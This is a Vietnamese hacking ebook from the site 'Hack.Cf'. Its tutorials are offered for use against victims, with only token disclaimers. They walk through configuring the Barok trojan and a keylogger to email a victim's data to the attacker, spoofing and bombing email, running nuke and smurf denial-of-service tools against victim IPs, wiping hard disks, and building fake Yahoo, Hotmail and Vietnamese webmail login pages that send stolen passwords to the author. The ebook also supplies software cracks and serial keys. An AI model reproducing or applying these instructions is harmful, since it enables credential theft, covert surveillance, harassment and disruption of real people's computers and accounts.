http://wWw.Hack.Cf Page 1
Ebook kỹ tShuật hack
 hướng dẫn sendmail nặc danh với Anonym Mailer 2.0
 hướng dẫn sử dụng phần mềm aiepr
 hướng dẫn sử dụng trojan barok
 hướng dẫn sử dụng phần mềm revelation
 hướng dẫn sử dụng keylogger 5.04
 hướng dẫn sử dụng bommail demo
 hướng dẫn sử dụng chương trinh hdkp4
 hướng dẫn sủe dụng các chương trinh nuke
 hướng dẫn sử dụng chương trinh ShowPass
 hướng dẫn sử dụng chương trinh smurf2k
 hướng dẫn sử dụng phần mềm Stealther để dấu IP
http://wWw.Hack.Cf Page 2
 hướng dẫn hack tất cả các webmail bằng fakelogin
 hướng dẫn xài công cụ Essential NetTools để lấy account chùa
 hack credit card qua lỗi acart2_0
 hack credit card qua lỗi SalesCart Database Storage Insecurity
 hack credit card qua lỗi VP-ASP
 hack credit card qua lỗi trong file shopper.cgi
 hack credit card của Cart32 Sites
 một bài viết về cvv2
 hack server NT qua 1 số lỗi đã cũ
 khai thác lỗi hosting controller (HC)
 linux shell utils (by Microsoftvn)
 exploit for the "unbreakable" oracle database (by Microsoftvn)
 hack 1 hệ thống CisCo linux (by Microsoftvn)
 tự setup 1 cgiproxy riêng cho minh
 sơ qua về tấn công từ chối dịch vụ
 tổng hợp các lệnh của mIRC
 hướng dẫn làm một freedback form
 một vài link Free Sub Domain And Hosting
 Thư Viện Sách
 Welcome Việt Nam
 Cơ bản Cron trên Unix ( by Vicki )
 3 bước kiểm tra Card
 Hướng dẫn sử dụng NetCat
 Làm thế nào để Spam ? ( by Vicki Group )
 Bài viết tổng hợp về Hack của Squall Leonahart
 Tìm hiểu về SQL Injection ( by Vicki Group )
 Tìm hiểu về tràn ngăn xếp trên Windows ( by Vicki Group )
 Bài viết thoả hiệp Vnexpress của VKDT ( by Vicki Group )
http://wWw.Hack.Cf Page 3
 Hack anon@FTP ( by Kha Administrator Việt Hacker )
 Chạy File từ WebSite hay Email ( IE5.5, Win 2000 )
 Hack IIS server với bug unicode
 Format hard disk bằng email
 Mask Link
 Trojan chạy ngay sau khi mở email
 Hack Apache server với bug phf , và một số Bug khác
 Gửi thư nặc danh, bomb thử bằng Telnet
 Xâm nhập máy tính khi đang Online
 Hướng dẫn Hack Local Site ( by Lukos )
 Cross Site Scripting ( by Binhnx )
 Hướng dẫn Deface 1 Website
 Một số phương pháp Hack Email ( by Staff of HVA )
 Các kiểu tấn công hiện đại của Hacker ( by Staff of HVA )
 Những hiểu biết cở bản để trở thành Hacker ( by Staff of HVA )
Designer and Copyright
Hướng Dẫn SendMail Nặc Danh !
ok, tên chương trình này là Anonym Mailer 2.0, phương thức hoạt động là sử dụng
chính server của Anonym Mailer 2.0 để làm công việc vốn dĩ chẳng tốt đẹp gì là "
sendmail nặc danh" ! cái này rất nguy hiểm đó nha......nó làm cho 1 đôi đang yêu
nhau thành giận nhau ! 2 người bạn đang chơi thân thành oánh nhau ! nói chung là
méo mặt với nó nếu người nhận thư không biết gì về blacknet !
download here
ok, sử dụng phần mềm này vô cùng đơn giản, hãy làm như hình dưới đây và bạn sẽ
thấy nó lợi hại thế nào !
http://wWw.Hack.Cf Page 4
chú ý: chỉ được dùng thử 30 ngày ! sau 30 ngày đó bạn phải đăng ký, các bạn tự
tìm crack hoặc mua lấy dùng, đặc biệt khi giới thiệu phần mềm này mình không
khuyến khích các bạn đi phá hoại, nhưng với những kẻ quá khó chịu thì không nể
nang gì cả mà giả email của bạn gái hắn chửi cho hắn một trận !!
chúc vui vẻ
Phần Mềm Aiepr
làm cách nào để khoá IE : Download Here
vào internet options
INCLUDEPICTURE
"http://ptv5online.com/Hackofnew/aiepr/aiepr/huongdan/images/a.gif" *
MERGEFORMATINET
vào tab content
http://wWw.Hack.Cf Page 5
click trên enable và chọn những site cần khoá, hoặc có thể khoá bất kì site hay
website nào bạn không muốn người khác xài máy của bạn có thể vào được ( phần
này các bạn tự tìm hiểu )
khi gặp phải trò đùa này của 1 người nào đó trên máy tính của bạn thì thật là khó
chịu ! bạn không biết password để vào web ! chả nhẽ setup lại windows hay gost lại
PC của bạn chỉ với 1 trò đùa cỏn con đó ! tìm cách giải quyết vậy !
làm cách nào để phá password IE :
download phần mềm aiepr ở đây
sau khi unzip, setup các bạn vào program để chạy chương trình
click vào icon chìa khoá để enter seria
INCLUDEPICTURE
"http://ptv5online.com/Hackofnew/aiepr/aiepr/huongdan/images/2.jpg" *
MERGEFORMATINET
enter seria key ( có sẵn trong file .zip các bạn download )
INCLUDEPICTURE
"http://ptv5online.com/Hackofnew/aiepr/aiepr/huongdan/images/3.jpg" *
MERGEFORMATINET
báo đăng ký thành công
http://wWw.Hack.Cf Page 6
*click vào biểu tượng như hình để thực hiện các lệnh về password của IE
+delete password cũ của IE ( phá password )
+gõ password mới và click change password nếu bạn muốn change password cũ (
bạn không cần biết pw này vẫn change được )
khi thay đổi thành công
+khi muốm lấy lại password cũ
khi password cũ được lấy thành công
http://wWw.Hack.Cf Page 7
*click trên biếu tượng như hình sau để xem các pw và thông tin cho phép save trong
máy
màn hình hiển thị
*cuối cùng là chức năng coi những password đã được save trong máy khi bạn click
save khi login
thông tin thêm: phần mềm này là sản phẩm của hãng Elcom, bản này đã được mua sẵn
cho bạn. chúc vui vẻ
+++++++++++++++++++
anhlanonline@yahoo.com
Hướng Dẫn Sử Dụng Trojan Barok
http://wWw.Hack.Cf Page 8
trojan, backdoor,... đã được nhiều hacker việt nam sử dụng từ rất lâu rồi, khoảng
cách đây 4 năm, thế nhưng hiện nay còn rất nhiều người chưa biết cách xài, mặc dù
là những trojan "cổ" và thông dụng ! vì vậy xin viết bài này với mục đích hướng dẫn
những bạn chưa biết sử dụng con trojan barok. Download Here
( chú ý là trong quá trình làm việc với trojan các bạn phải disablen notron-antivirus
đi, và các bạn đừng sợ bị nhiễm vì nếu làm đúng cách sẽ không sao hết, điều này
tương tự như đùa nghịch với một quả lừu đạn vậy, biết thì không sao muh không
biết là.... tờ iêu tiêu !), sau khi unzip các bạn thấy có tất cả ba file như sau :
click vào file setup để setup cho server của con trojan này ( ở đây các bạn lưu ý một
chút là hầu hết các trojan có dung lượng server rất nhỏ và cilent thì lớn hơn, do phần
server sẽ là phần gửi đi cho victim hoặc đính kèm vào website còn phần cilent
thường dùng để hỗ trợ cho server hoặc xài để điều khiển ) :
sau khi click vào file setup các bạn chọn file server và click Open như hình dưới :
đây là màn hình hiển thị của barok sau khi open server :
http://wWw.Hack.Cf Page 9
+ các bạn chọn tên file muốn victim nhìn thấy sau khi lây nhiễm vào máy tính trong
mục Filename, theo kinh nghiệm trong phần này nên để tên gì ví dụ như
system.exe hay cái gì đó tương tự để victim không dám shutdown khi trojan đang
chạy
+trong phần Outgoing Mail Server (SMTP) và phần Destination Mail viết SMTP
và email của bạn, lưu ý rằng SMTP không nhất thiết phải là SMTP của email, và cái
này viết SMTP nào cũng được miễn là hỗ trợ sendmail để trojan send email ngược lại,
về điều này có lẽ cần bàn thêm 1 chút, vì phần này là quan trọng nhất, trojan hoạt
động được hay không là do cấu hình phần này tốt :
*SMTP gõ vào bắt buộc phải hỗ trợ sendmail mà không cần phải đăng ký
*các bác test SMTP của thằng yahoo coi sao :
mta469.mail.yahoo.com
mta545.mail.yahoo.com
*SMTP hồi xưa rất nhiều, hỗ trợ sendmail mà không cần phải đăng ký, còn bây giò
phải đăng kí mới được sử dụng dịch vụ này, các bạn tham khảo và test SMTP ở bài
viết hướng dẫn sử dụng bommail demo
sau đó chọn chế độ gửi thông tin về bất cứ lúc nào victim online (Every Online)
hoặc có thể chọn số ngày gửi thông tin về (Every ...day&up ) theo kinh nghiệm
mình khuyên các bạn nên chọn số ngày, vì nếu chọn box đầu thì sẽ phải nhận rất
nhiều thư ( mỗi khi victim online là 1 email mà) ....trừ khi để quản lí người iu thì mới
chọn box Every Online.....heheh
http://wWw.Hack.Cf Page 10
sau khi cấu hình xong cho server của barok bạn click vào Save Server như hình
trên, lúc đó bạn sẽ nhận được màn hình chúc mừng server đã save thành công như
sau :
tiếp sau đó click Exit để thoát khỏi cấu hình :
lúc này là ok rồi đó, bạn sẽ phải sử dụng con server ( vừa được bạn cấu hình ) để
send cho victim hoặc gắn nó vào một trang web nào đó rồi rủ victim vào chơi ! (
phần gắn server vào web này mời các bạn đọc trên website trong những bài sử dụng
công cụ gắn trojan vào web và sử dụng website để lấy trộm account internet )
chúc các bạn thành công và nghịch vui vẻ !
+++++++++++++++++++
anhlanonline@yahoo.com
Hướng Dẫn Sử Dụng Phần Mềm Revelation
revelation là phần mềm lấy lại password đã quên ( đựơc mã hoá dưới dạng *****)
các ví dụ về chức năng của phần mềm này:
+khởi động chương trình ( sau khi download, unzip và setup) : Download Here
http://wWw.Hack.Cf Page 11
+soi pasword của yahoo chat khi có ai đó "trót dại " save password lại !
+soi password của pop mail tong outlook. đầu tiên vào tool--->account :
sau đó vào tab mail, click vào account cần tìm lại pw và click propertes :
http://wWw.Hack.Cf Page 12
chọn tab server và kéo " ống nhòm" của revelation vào password mã hoá dạng ****
, vbạn sẽ thấy password trên dòng status của revelation ( pw trong ví dụ này là
"bimat!") :
+phần mềm này cũng soi được password trong yahoomail login :
http://wWw.Hack.Cf Page 13
hay trong hotmail login cũng vậy :
+những thông tin thêm : revelation không làm việc trên windows XP ( vì windows XP
sử dụng mã hoá 128bit ), đây là phần mềm free ! các bạn có thể ghé thăm website
chính của nó tại : http://www.snadboy.com
Sử Dụng Keylogger 5.04
*Bài viết với mục đích học tập. mình không khuyến khích các bạn đi phá hoại và
hoàn toàn không chịu trách nhiệm với bài viết của mình.
http://wWw.Hack.Cf Page 14
Chào các bạn, hôm nay mình xin giới thiệu đến các bạn 1 công cụ rất hay và khá ấn
tượng, đó là keylogger...Tại sao lại ấn tượng. Là bởi vì nó cho phép người dùng kiểm
soát toàn bộ bàn phím của 1 máy tính dù rằng không cần ngồi ở máy tính đó......
Ok! chúng ta bắt đầu tìm hiểu. Download Here
bước 1
Ver 5.04.zip trong bài này dành cho tất cả các phiên bản windows.Trong đó có sẵn
file register Đó là key đăng ký để có thể sử dụng hết các chức năng của keylogger
bước 2
Sau khi dowload keylogger về, các bạn double-click lến biểu tượng keylogger , sau
khi được cửa sổ như trên, các bạn tiếp tục click vào Etract để setup.
bước 2
http://wWw.Hack.Cf Page 15
Sau khi setup xong các bạn vào thư mục vừ setup keylogger double-click vào biểu
tượng bàn phím để cấu hình cho keylogger, tại box " Longin Engine Status " các bạn
click vào start để bất đầu cho keylogger hoạt độngcheck vào autostart để cho
keylogger tự động làm việc khi window khởi động.Coi hình dưới.
Tại box " logfile Configuration " nếu muốn thay đổi đường dẫn để mở keylogger các
bạn click vào " change.." để thay đổi cho hợp ý mình, thư mục mặc định là thư mục
chứa bộ setup keylogger của các bạn ( phần này không cần làm nếu bạn không
muôn change đường dẫn chứa dữ liệu của keylogger
bước 3
tại box các ban muốn keylogger chụp hình hiển thị của máy tính bao nhiêu phút 1
lần , check số phút mà bạn muốn vào box.Mặc định là 10 phút 1 lần, số phút nhỏ
nhất có thể được là 1 phút.
http://wWw.Hack.Cf Page 16
bước 4
Cấu hình để keylogger gửi email về cho các bạn. Đầu tiên gõ email của bạn trong
box " send To " , còn box Sender's eMail để nguyên, box " SMTP Host " các bạn gõ
SMTP server của server email các bạn vào và chọn số thời gian keylogger send email
trong box " Send file every "
mặc định là 30 phút, còn có thể thay đổi tuỳ theo ý thích của bạn.
bươc 5
Set password cho keylogger của bạn khỏi bị người khác xâm nhập bằng cách check
vào box " Password Protection " sau đó chọn password của bạn.
Crack cho keylogger: các ban crack với Username: vicki và Key: LGvFzeX= crack này
có trong file crack các bạn dowload ban đầu.Coi hình.
http://wWw.Hack.Cf Page 17
Ok! , đến đây là xong rồi đó !, nếu muốn coi bàn phím đã gõ những gì bạn vào thư
múc chứa keylogger ckick vào biểu tượng bàn phím sau đó ckick vào view và chọn
file các bạn mặc định để coi
ckick next để coi ví dụ những gì mà keylogger lấy được từ bàn phím
Chúc các bạn thành công.Các bạn có thể tham khảo thêm tại
http://www.keylogger.de
Sử Dụng MailDemo Để Bommail
*Bài viết với mục đích học tập. mình không khuyến khích các bạn đi phá hoại và
hoàn toàn không chịu trách nhiệm với bài viết của mình.
bước 1
Sau khi unzip và chạy chương trình ta sẽ thấy giao diện của chương trình như sau
Download Here
http://wWw.Hack.Cf Page 18
bước 2
Chọn server dùng để bommail trong như trên.Sof này có 2 server cho bạn chọn.Nếu
bạn thích đính kèm file khi bommail bạn làm như hình sau:
http://wWw.Hack.Cf Page 19
sau đó chọn file và attach vào
bước 3
đánh số lượng mail muốn bom vào và điền các thông tin cần thiết. Ta sẽ có 1 giao
diện giống như hình trên
bước 4
click vào connect :
bước 5
http://wWw.Hack.Cf Page 20
Click vào nút play để bắt đầu bommail
bước 6
Sử lý sự cố khi send bom có vấn đề. Khi có thông báo không thể connect to server.
Chọn một server khác .Thông báo lỗi như sau:
Lúc đó có ngiã là chương trình chưa connect vào đựoc server để bommail. Bạn cần 1
server khác hỗ trợ việc gửi mail để connect
bạn có thể lấy server tại đây để phục vụ cho công việc của mình
Sau cùng click Play để bommail. Chúc các bạn thành công !
+++++++++++++++++++
anhlanonline@yahoo.com
http://wWw.Hack.Cf Page 21
Windows,Hard Drive Killer
okies ! hôm nay mình sẽ giới thiệu đến các bạn 1 vài phần mềm vô cùng nguy hiểm !
chỉ cần 1 click chuột là ổ cứng của bạn tiêu ngay lập tức !
chú ý: chỉ đọc, nếu thực hành ngay trên máy bạn, 99% ổ cứng của bạn sẽ hỏng !
không khuyến khích đi phá hoại !
đầu tiên các bạn download chương trình có tên hdkp4 tại đây. đây là sản phẩm của
website http://www.hackology.com
sau khi unzip các bạn thấy tất cả có 5 file, okies:
công việc " phá hoại" cực kì đơn giản chỉ bằng 2 click chuột vào file hdkp.exe như
hình trên là........ổ cứng của bạn sẽ chết ngay trong lần sau khởi động máy! chớ có
dại mà thực hành ngay, trừ khi bạn muốn thay ổ cứng mới, còn nếu không, kỹ thuật
phục hồi ổ cứng sau khi dính con này chưa có ở việt nam !
giải thích quá trình làm hỏng ổ cứng:
ngay sau khi click vào file, chương trình sẽ bắt đầu phá hoại tất cả data trên ổ cứng
của bạn, mặc dù cho bạn có dừng chương trình giữa chừng thì vẫn thế ! trong lần
sau khởi động máy tính chương trình sẽ tự động tiếp tục chạy !
chương trình này hoạt động nhờ vào thay đổi những thông tin trong file .bat vốn rất
quan trọng trong windows ! nó sẽ phá các track từ ổ cứng và bạn khó mà có thể
phục hồi lại dữ liệu hay làm gì với ổ cứng bạn có, sau khi chạy chương trình ổ cứng
của bạn coi như là cục sắt ! không làm gì được ngoài cách vứt vào sọt rác !
chú ý : chương trình này không làm việc trên những ổ cứng dòng MACS !
Ngoài ra, mình còn có 1 vài phần mềm khác muốn...chia sẻ với các bạn, tính chất
cũng là phá hoại y như thế, hdd và windows , nhưng với mức độ nhẹ hơn
các bạn có thể dowload format winkill winkill32
+++++++++++++++++++
anhlanonline@yahoo.com
Sử Dụng Nuke
http://wWw.Hack.Cf Page 22
*Bài viết với mục đích học tập. mình không khuyến khích các bạn đi phá hoại và
hoàn toàn không chịu trách nhiệm với bài viết của mình.
NuKe rất lợi hại. Lợi hại chỗ nào? Đó là nếu ta biết được 1 địa chỉ ip của một máy
tính bất kỳ (máy tính quay số vào mạng bằng modem và tất nhiên ip của nó do thế
sẽ là ip động.) Thì ta hoàn toàn có thể cho ip đó disconnect , cho dù ip đó là ip của
cả 1 mạng LAN hay ip của một máy đơn người dùng thông thường.Trong bài hướng
dẫn này không đi sâu, mà chỉ nêu các xác định 1 ip thông qua 1 số con đường và
nơi có thể tìm thấy phần mềm nuke lợi hại này, cũng như cách sử dụng chúng.
Xác Định Địa Chỉ IP Của Một Người:
Có nhiều cách xác định địa chỉ ip, Các bạn chat trong iRMC có những cách rất hay (
nhưng rất tiếc mình không chat trong đó nên không biết :) )
Còn các bạn admin của site nào đó có thể thấy ip của member khi họ port bài.
cũng có thể dùng phần mềm để xác định địa chỉ ip của 1 người bạn quan hệ....
Ở đây mình giới thiệu 1 cách xác định địa chỉ ip của 1 người qua chat Aol , ICQ, MSN,
hoặc Yahoo.....
bước 1
Nếu bạn dùng Window Xp bạn vào start -->run-->gõ cmd như trên hình rồi click ok
Nếu bạn xài những hệ điều hành Window khác có thể vào start-->run-->đánh lệnh
command như hình dưới , sau đó cũng click ok
http://wWw.Hack.Cf Page 23
bước 2
Khi có 1 hộp thoại hiện ra, bạn tìm dòng C:Documents and settingstên sử dụng>
và gõ netstat -an như hình trên.Khi đó địa chỉ ip của máy các bạn sẽ nằm phía bên
trái cửa sổ hiển thị . Còn những địa chỉ ip các bạn có kết nối đến sẽ hiện phía bên
phải cửa sổ như hình sau đây:
http://wWw.Hack.Cf Page 24
Trên hình địa chỉ ip của mình nằm ở phía bên trái ngiã là 203.162.19.222 . Những
địa chỉ ip mình có kết nối đến nằm ở phía bên phải . Đó là các ip: 202.156.156.168 ;
216.136.233.138 ;194.19.127.21 .......
Nếu bạn chat của các bạn ở việtnam thì đỉa chỉ ip sẽ bắt đầu là 203.162... do đó chỉ
cần tìm những địa chỉ ip bắt đàu với 203.162....
như hình trên, mình đang chat với 1 người qua yahoo , ở việt nam-->ip của người đó
là 203.162.7.221 ....OK? Nếu đã hiểu các bạn click next .
bước 3
NUKE !
Có rất nhiều chương trình nuke, đây mình xin hướng dẫn 1 trình cơ bản tên là
Assault
Màn hình hiển thị của Assult như hình dưới đây:
Các bạn gõ ip cần nuke vào khung "Host"
trong khung "port " là cổng các bạn muốn bomber .Thông thường là
139,113,11,119,80
những bõ khác để nguyên và click ICM ECHO
dưới đây là cửa sổ hiển thị của Assault khi chạy, trong ví dụ này mình đang bom port
80 tức là cổng duyệt word wide web. Để có thêm chi tiết các bạn click here để có thể
biết rõ hơn về Port Number và Service.
http://wWw.Hack.Cf Page 25
Sau khi chạy được 1/2 số packs đảm bảo victim disconnet khỏi mạng. hê hê hê.
Cách duy nhất là reconnect
Click next để dowload các chương trình nuke.
DOWLOAD NUKE
dưới đây là một số hình để minh hoạ những chương trình nuke mà mình có:
(các bạn có thể download chúng ở đây )
http://wWw.Hack.Cf Page 26
http://wWw.Hack.Cf Page 27
http://wWw.Hack.Cf Page 28
http://wWw.Hack.Cf Page 29
http://wWw.Hack.Cf Page 30
nhiều hơn nữa: expgen085 ; udp2 ; udp5.........
+++++++++++++++++++
anhlanonline@yahoo.com
http://wWw.Hack.Cf Page 31
Phần Mềm ShowPass
mình xin giới thiệu đến các bạn phần mềm ShowPass
+hệ điều hành áp dụng: windows 95,98,98se,Me ( không dùng được với windows
2000 trở lên )
+chức năng: tìm lại username và password connect vào internet khi lỡ quên hay bị
mất ( mà đã save vào máy )
+ứng dụng : khi quên, mất, hoặc xài để ăn trộm account từ máy đang ngồi
+cách dùng: sau khi unzip, click vào file showpass để chạy chương trình, sau đó click
nút "DIALUPs" để tìm lại hay ăn trộm account
+homepage của phần mềm này http://www.xcoder.com
+++++++++++++++++++
anhlanonline@yahoo.com
hướng dẫn sử dụng smurf2k
đầu tiên các bạn download chương trình này tại đây
sau khi unzip , thấy 2 file broadcast.txt và Smurf2K.exe
click vào file Smurf2K.exe nhìn thấy giao diện như sau :
trong những bài trước, các bạn đã được học làm thế nào để tìm ip của 1 người đang
online hoặc 1 website
ok , bây giờ việc đơn giản để đi đến đích là bạn gõ IP của nạn nhân vào box victim,
rồi click smuf :
http://wWw.Hack.Cf Page 32
trong hình trên mình ví dụ IP của nạn nhân là 203.162.24.12
giờ mình sẽ nói tiếp công cụ này hoạt động như thế nào:
trước hết mục đích của công cụ này là send các gói dữ liệu đến website hoặc máy tính
của nạn nhân, nhằm mục đích bắt máy tính của nạn nhân hoặc website đó phải send trở
lại 1 gói dữ liệu, chuyện này là rất bình thường, nhưng do send quá nhiều đến website
hay PC , do đó website hay PC sẽ bi treo tạm thời, công cụ này sử dụng rất nhiều IP ( có
trong list của file broadcast.txt ) vào mục đích trên:
các bạn có thể mang supperscan lên mạng quét ip đang online để thêm vào list này
những IP mới nhằm mục đích cho cuộc tấn công diễn ra thuận lợi, càng nhiều IP
càng tốt !
http://wWw.Hack.Cf Page 33
chúc vui vẻ !
+++++++++++++++++++
anhlanonline@yahoo.com
HƯỜNG DẪN SỬ DỤNG PHẦM MỀM
Stealther
Download
Giới thiều :
Stealther là một phần mềm kết hợp với trình duyệt IE giúp bạn đảm bảo sự "nặc danh" khi duyệt web
vào download files,Stealther giúp bạn che giấu IP thật của mình khi ghé thăm các website, chặn các Cookie
nguy hiểm và đảm bảo sự bảo mật cho thông tin từ máy tính của bạn khỏi các website "tình báo".
Stealther bảo vệ mức tối đa quyền cá nhân của bạn khi lướt web, Stealther luôn luôn tự động cập nhật
những anonymous proxy và kiểm tra khả năng "nặc danh" của các proxy đó....
Nói tóm lại Stealther là một phần mềm tuyệt vời đối với những người muốn an toàn khi lên mạng.
Hướn dẫn sử dụng :
Cài đặt :
Sau khi download bạn chạy file stealther_setup.exe để bắt đầu quá trình cài đặt:
http://wWw.Hack.Cf Page 34
Khi chạy file stealther_setup.exe sẽ có một thông báo như hình trên yêu cầu lựa chọn ngôn ngữ cài đặt, bạn
chọn mặc định là English (UK)
Sau đó bạn làm theo các hướng dẫn trong quá trình cài đặt sau khi cài đặt xong bạn chọn 1 trong 2 lựa chọn.
1 là khởi động lại windows, 2 là khởi động sau, tiếp tục quá trình.
http://wWw.Hack.Cf Page 35
Kết thúc quá trình cài đặt bạn cần phải Crack phần mềm để sử dụng được hết tất cả các chức năng của nó
Crack:
Để crack chương trình bạn cần download bản crack ở đây
Trước khi crack bạn cần phải close chương trình lại, unzip file vừa download và copy file crack.exe vào cùng
thư mục vừa cài đặt Stealther mặc định là C:Program FilesStealther.
http://wWw.Hack.Cf Page 36
Chạy file crack.exe, quá trình crack thành công bạn sẽ nhận được thông báo :
Nhưng bạn đừng tưởng đến đây là đã crack được và đã có thể sử dụng được hết chức năng của nó nghe :)
khì khì
Tiếp theo bạn chạy Stealther sẽ xuất hiện một biểu tượng nho nhỏ trong system tray
Dubble Click hoặc Click phải chuột chọn Show windows. Vào menu File --> Unlock Trial Version
Nhập tên bạn ( gõ liền ) rồi nhấn Unlocknow!, Unlock thành công bạn sẽ nhận được thông báo
http://wWw.Hack.Cf Page 37
Ok crack xong rồi bây giờ đến cách thiết lập để có thể "nặc danh" khi lướt web.
connect hoặc sẽ dùng để Thiết lập cấu hình cho IE bạn vào Internet option --> Connections --> chọn
Connection sẽ "nặc danh" (connection mà bạn đang connect nếu bạn thiết lập cho một connection mà
connect bằng connection khác thì sẽ không có tác dụng gì hết) --> Settings
Tiếp theo bạn chọn Use a proxy server rồi chọn Advanced..
http://wWw.Hack.Cf Page 38
Nhập vào mục HTTP : Proxy address to use : 127.0.0.1 Port 14000 --> OK thế là xong tiết mục thiệt lập
thông số cho IE giờ đến tiết mục thiết lập cho Stealther.
http://wWw.Hack.Cf Page 39
Thiết lập cho Stealther cũng đơn giản như thiết lập cho IE thôi. Show windows để mở cửa sổ chính của
chương trình, trong cửa số chính bạn có 3 lựa chọn trong mục Change Surfing Mode to để lựa chọn mode
"nặc dạnh" theo tôi lựa chọn tốt nhất là lựa chọn thứ 2 Strealth Mode.
Tiếp nữa bạn vào menu Proxy-engine --> View/Edit/Check để xem proxy list. Bạn có thể thêm, sửa, xoá,
check proxy để sử dụng.
http://wWw.Hack.Cf Page 40
Để thêm 1 proxy vào list bạn vào munu Edit --> Add new proxy entry
http://wWw.Hack.Cf Page 41
Nhập proxy như hình trên rồi nhấn Apply, ban cũng có thể Add nhiều proxy một lúc vào list bằng cách copy
và paste
Để có thể có nhiều proxy để thêm vào list bạn có thể lấy ở đây, bạn copy và paste vào proxy list.
Để kiểm tra proxy bạn vào menu Check --> Check All hoặc Check Selected.
Một proxy tốt thì sẽ có mục Working là yes nếu proxy nào có khả năng "nặc danh" thì mục Anonymos là
Yes. Bạn có càng nhiều proxy như vậy thì càng tốt. Khi xong xuôi những bước trên, để kiểm tra xem thành
quả của các quá trình bạn thực hiện, bạn vào đây để check xem proxy bây giờ của bạn thế nào. Ok. hết!
Chúc bạn thành công!
Hướng Dẫn Hack Tất Cả Các Webmail
(dành tặng Nguyễn Phương Anh )
trò này thực ra đã có từ rất lâu rồi, website anhlan cũng đã viết bài hướng dẫn chi
tiết ngay từ những ngày đầu, khi mà con số người biết về trò này ở việt nam còn rất
ít, do site anhlan.com dow nên data bị mất, mình nghĩ rằng ai cũng biết trò này, hì,
nhưng thấy có nhiều người hỏi quá nên hôm nay cho phép mình được post lại bài này
với mức độ chi tiết nhất có thể , bài viết này xin dành tặng bạn gái của mình:
Nguyễn Phương Anh (YM: tinh_yeu_tre_con )
ok, let's go ! chúng ta cùng bắt đầu !
Tạo SoucreCode Riêng Cho Bạn
tại sao mình lại nói thế? trong bài viết này bạn sẽ học cách lấy trộm password email
của tất cả các webmail ! ví dụ như @ttvnonline.com, fastmail.ca , @hn.vnn.vn,
http://wWw.Hack.Cf Page 42
@fptnet.com ...chứ không phải chỉ riêng yahoo hay hotmail , vì vậy trong bước 1 này
mình muốn hướng dẫn cách để có một cái soucre để sử dụng sau này.
bước 1:
các bạn vào http://www.bravenet.com sau đó gõ email của các bạn ( email ở
webmail nào cũng được, ví dụ như tenban@yahoo.com hay tenban@hotmail.com hay
tenban@ttvnonline.com đểu được, miễn là bạn sở hữu hòm mail đó-và đây là hòm
mail các bạn sẽ nhận password của victim sau này ! ) vào box như trong hình rồi
click join :
bước 2:
checkmail tại email mà bạn vừa enter ( của mình phải check hòm mail
alonedrinkwine@msn.com còn các bạn sẽ check hòm mail của các bạn xài để đăng
ký )
click vào link mà bravenet vừa đưa cho như hình dưới đây :
sau khi click sẽ có một cửa sổ đăng ký account
các bạn đăng ký một account trong trang này, đây là mẫu đăng ký của mình, còn các
bạn tự chọn, xin nói qua là phần này không quan trọngvà không phải ghi chính xác
thông tin của bạn !
http://wWw.Hack.Cf Page 43
điều quan trọng nhất trong phần này là box "website URL" .Tại box này bạn hãy
enter địa chỉ mà bạn muốn victim nhìn thấy sau khi click vào form fakelogin của các
bạn, trong ví dụ này mình chọn site riversongs.com -là một site về ecard :
http://wWw.Hack.Cf Page 44
sau khi click register như hình vẽ bạn sẽ thấy 1 trang tiếp theo, không cần làm gì cả
ngoài click vào continue như hình :
sau khi click như trên sẽ có 1 trang mới hiện ra với lời chào mừng đăng ký thành
công như hình dưới :
okies, giờ bạn tìm box login như hình dưới đây , sau đó gõ user và password của bạn
vào ( vừa đăng ký với bravenet ) rồi click Login
sau khi login được vào bạn tìm mục Email Forms như hình dưới đây và click vào:
click vào rồi sẽ nhìn thấy một đoạn mã lằng nhằng như hình dưới ! các bạn chú ý
coppy thật chính xác đoạn bắt đầu từ <form action=......cho đến...... value="1"
/> như hình dưới đây:
http://wWw.Hack.Cf Page 45
okies, ghi nhớ lấy đoạn mã này vào bất cứ đâu như word hay notepad để sử dụng
cho sau này , nó là của riêng bạn ! giờ click next để qua trang 2 với cách sử dụng
soucre này để ăn trộm pw email của các webmail.
sau khi có đoạn soucrecode của riêng bạn rồi,save nó lại rồi, bạn bắt đầu học cách
hack password của một vài webmail thông dụng, sau đó làm tương tự cho bất kỳ
webmail nào khác mà bạn biết !
Hack Password YahooMail
sau khi vào trang http://mail.yahoo.com bạn click chuột phải vào một khoảng trống
bất kỳ, chọn View Soucre như hình dưới :
tìm thẻ <head> , thẻ này ở ngay đầu tiên sau thẻ <html> các bạn paste đoạn code
lúc nãy vào ngay dưới thẻ này như hình dưới :
http://wWw.Hack.Cf Page 46
sau khi paste vào, bạn vào menu file, chọn Save As như hình :
trong cửa sổ Save As này phần save as type chọn là All Files như hình bên :
sau đó gõ File name là yahoo.htm ( hay login.htm tuỳ bạn miễn là có .htm đằng
sau !)
http://wWw.Hack.Cf Page 47
sau khi save file này lại dưới dạng .htm, bạn view upload chúng lên website nào đó
rồi thử login qua , sau đó checkmail tại email bạn đăng ký lúc đầu, sẽ thấy như thế
này :
và đây là phần password ( test và test] )
thế là xong ! bạn có thể coi bản demo tại đây
Hack Password Hotmail
http://wWw.Hack.Cf Page 48
làm tương tự như với yahoomail, đầu tiên bạn vào http://hotmail.com sau đó view
soucre như hình dưói :
cũng paste đoạn soucre mà mình đã bảo các bạn save vào ở trang trước vào sau thẻ
<head> tương tự như làm với yahoo mail :
sau đó cũng làm tương tự yahoo rồi save lại dưới dạng .htm như hình dưới, sau đó
upload lên website của các bạn rồi gạ victim vào chơi ! coi demo tại đây
Hack Mail.vnn.vn
đầu tiên vào http://mail.vnn.vn cũng view soucre và paste sau thẻ <head> rồi save
dưới dạng file .htm :
http://wWw.Hack.Cf Page 49
coi demo tại đây
Hack @ttvnonline.com
đầu tiên cũng vào website http://ttvnonline.com chọn email rồi view soucre :
cũng paste đoạn code riêng của các bạn sau thẻ <head> :
save lai dưới dạng .htm rồi làm như yahoo hoặc hotmail, nhưng khi click vào thì
không thấy cái lôgo của ttvnonline đâu ! như hình dưới , nếu không có chắc chắn
victim sẽ ngi ngờ rất nhiều !
http://wWw.Hack.Cf Page 50
vì vậy bạn hãy vào save cái logo của nó hoặc coi đường dẫncủa cái logo này rồi edit
file đã có đoạn soucre của các bạn bằng front page hay notepad, điều này rất dễ làm
và có hướng dẫn cụ thể ở site http://vtv4online.com ( trong này cũng có hướng dẫn
cách thức đăng ký một website free và cách upload file lên host dành cho những bạn
mới bắt đầu )
coi demo tại đây
okies, như vậy sơ qua mình đã hướng dẫn các bạn lấy trộm pw email của 4 webmail
khá thông dụng, tương tự như thế bạn sẽ đem đi làm với các webmail khác mà bạn
biết!
